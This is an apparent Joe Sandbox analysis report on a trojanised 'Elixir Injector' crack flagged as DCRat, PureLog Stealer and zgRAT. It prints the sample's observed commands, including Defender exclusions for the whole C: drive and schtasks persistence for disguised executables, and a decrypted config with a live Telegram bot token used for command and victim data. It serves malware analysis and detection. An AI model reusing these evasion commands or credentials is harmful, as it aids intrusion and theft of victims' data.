Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ElixirInjector.exe

Overview

General Information

Sample name:ElixirInjector.exe
Analysis ID:1590004
MD5:04095b54d4245dca4aeb05310a2ddc8a
SHA1:4d5bc54fade2e8af35d36ae0cab2c0f835cb7334
SHA256:7014e9a725d8449f588d906d671771ccbf2c253d603205818a5af782a02e320c
Tags:DCRatexeNyashTeamuser-MalHunter3
Infos:

Detection

DCRat, PureLog Stealer, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DCRat
Yara detected PureLog Stealer
Yara detected zgRAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Sample uses string decryption to hide its real strings
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • ElixirInjector.exe (PID: 2248 cmdline: "C:\Users\user\Desktop\ElixirInjector.exe" MD5: 04095B54D4245DCA4AEB05310A2DDC8A)
    • wscript.exe (PID: 6688 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" MD5: FF00E0480075B095948000BDC66E81F0)
      • cmd.exe (PID: 6192 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 3924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • Bluestacks.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe" MD5: E18151C31580AA91CEB01099DE4277B2)
          • schtasks.exe (PID: 3004 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 6488 cmdline: schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 1016 cmdline: schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 7 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • powershell.exe (PID: 640 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 1548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 6408 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • WmiPrvSE.exe (PID: 8904 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
          • powershell.exe (PID: 6980 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5916 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 2528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 2872 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 3320 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 4048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 2744 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5748 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5712 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 4864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5228 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 1460 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 3380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 4876 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 7044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 3004 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellComponents\cmd.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 6524 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 6488 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 7008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 5552 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 2852 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 2680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 1016 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 2688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • cmd.exe (PID: 7820 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\9w1FkSj5b9.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • chcp.com (PID: 8456 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)
            • PING.EXE (PID: 8588 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)
            • fvXBwqYdGYPkplbuTcoXecCdP.exe (PID: 8996 cmdline: "C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe" MD5: E18151C31580AA91CEB01099DE4277B2)
  • Bluestacks.exe (PID: 5648 cmdline: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • Bluestacks.exe (PID: 6188 cmdline: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • cmd.exe (PID: 3420 cmdline: C:\Windows\ShellComponents\cmd.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • cmd.exe (PID: 6808 cmdline: C:\Windows\ShellComponents\cmd.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • fontdrvhost.exe (PID: 6852 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe" MD5: E18151C31580AA91CEB01099DE4277B2)
  • fontdrvhost.exe (PID: 7436 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe" MD5: E18151C31580AA91CEB01099DE4277B2)
  • fvXBwqYdGYPkplbuTcoXecCdP.exe (PID: 3424 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • fvXBwqYdGYPkplbuTcoXecCdP.exe (PID: 8440 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe MD5: E18151C31580AA91CEB01099DE4277B2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
    00000005.00000000.2216100697.0000000000162000.00000002.00000001.01000000.0000000A.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
      Process Memory Space: Bluestacks.exe PID: 3576JoeSecurity_DCRat_1Yara detected DCRatJoe Security
        Process Memory Space: fvXBwqYdGYPkplbuTcoXecCdP.exe PID: 8996JoeSecurity_DCRat_1Yara detected DCRatJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          5.0.Bluestacks.exe.160000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
            5.0.Bluestacks.exe.160000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Files With System Process Name In Unsuspected Locations
              Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe, ProcessId: 3576, TargetFilename: C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe", ParentImage: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe, ParentProcessId: 3576, ParentProcessName: Bluestacks.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 640, ProcessName: powershell.exe
              Sigma detected: Script Interpreter Execution From Suspicious Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ElixirInjector.exe", ParentImage: C:\Users\user\Desktop\ElixirInjector.exe, ParentProcessId: 2248, ParentProcessName: ElixirInjector.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , ProcessId: 6688, ProcessName: wscript.exe
              Sigma detected: Suspicious Script Execution From Temp Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ElixirInjector.exe", ParentImage: C:\Users\user\Desktop\ElixirInjector.exe, ParentProcessId: 2248, ParentProcessName: ElixirInjector.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , ProcessId: 6688, ProcessName: wscript.exe
              Sigma detected: WScript or CScript Dropper
              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ElixirInjector.exe", ParentImage: C:\Users\user\Desktop\ElixirInjector.exe, ParentProcessId: 2248, ParentProcessName: ElixirInjector.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , ProcessId: 6688, ProcessName: wscript.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe", ParentImage: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe, ParentProcessId: 3576, ParentProcessName: Bluestacks.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 640, ProcessName: powershell.exe
              Sigma detected: Suspicious Add Scheduled Task Parent
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f, CommandLine: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe", ParentImage: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe, ParentProcessId: 3576, ParentProcessName: Bluestacks.exe, ProcessCommandLine: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f, ProcessId: 3004, ProcessName: schtasks.exe
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ElixirInjector.exe", ParentImage: C:\Users\user\Desktop\ElixirInjector.exe, ParentProcessId: 2248, ParentProcessName: ElixirInjector.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" , ProcessId: 6688, ProcessName: wscript.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe", ParentImage: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe, ParentProcessId: 3576, ParentProcessName: Bluestacks.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 640, ProcessName: powershell.exe

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-13T13:20:31.267087+010028033053Unknown Traffic192.168.2.64984734.117.59.81443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-01-13T13:20:32.313688+010018100091Potentially Bad Traffic192.168.2.649852149.154.167.220443TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for dropped file
              Source: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeAvira: detection malicious, Label: HEUR/AGEN.1339906
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeAvira: detection malicious, Label: HEUR/AGEN.1339906
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbeAvira: detection malicious, Label: VBS/Runner.VPG
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeAvira: detection malicious, Label: HEUR/AGEN.1339906
              Multi AV Scanner detection for dropped file
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeReversingLabs: Detection: 58%
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeVirustotal: Detection: 59%Perma Link
              Source: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeVirustotal: Detection: 59%Perma Link
              Source: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeReversingLabs: Detection: 58%
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeReversingLabs: Detection: 58%
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeVirustotal: Detection: 59%Perma Link
              Source: C:\Users\user\Desktop\DvqGSnXS.logReversingLabs: Detection: 37%
              Source: C:\Users\user\Desktop\EbKwZRsK.logReversingLabs: Detection: 70%
              Source: C:\Users\user\Desktop\uAazTYNi.logReversingLabs: Detection: 25%
              Source: C:\Users\user\Desktop\wxCHpYcd.logReversingLabs: Detection: 50%
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeReversingLabs: Detection: 58%
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeReversingLabs: Detection: 58%
              Source: C:\Windows\ShellComponents\cmd.exe (copy)ReversingLabs: Detection: 58%
              Multi AV Scanner detection for submitted file
              Source: ElixirInjector.exeReversingLabs: Detection: 60%
              Source: ElixirInjector.exeVirustotal: Detection: 65%Perma Link
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
              Machine Learning detection for dropped file
              Source: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeJoe Sandbox ML: detected
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeJoe Sandbox ML: detected
              Sample uses string decryption to hide its real strings
              Source: 00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmpString decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Smart","_1":"False","_2":"False","_3":"False"},"75400db8-4680-4af7-97bd-c8a76b65b9c4":{"_0":"cjsQfRMzEpfjsKDGkaTtaHGCWdVBASBP","_1":"Elixir Injector Crack","_2":"telegram: @ReanSoft","_3":"None","_4":"OK"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"System drive"},"TelegramNotifer":{"chatid":"6275749393","bottoken":"7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI","settings":"hello\nID: {USERID}\nComment: {COMMENT}\nUsername: {USERNAME}\nPC Name: {PCNAME}\nIP: {IP}\nGEO: {GEO}","sendmessageonce":"True","sendloginfostealer":"False","stealersetting":"Log collected\nID: {USERID}\nComment: {COMMENT}\nLog size: {SIZE}"}}
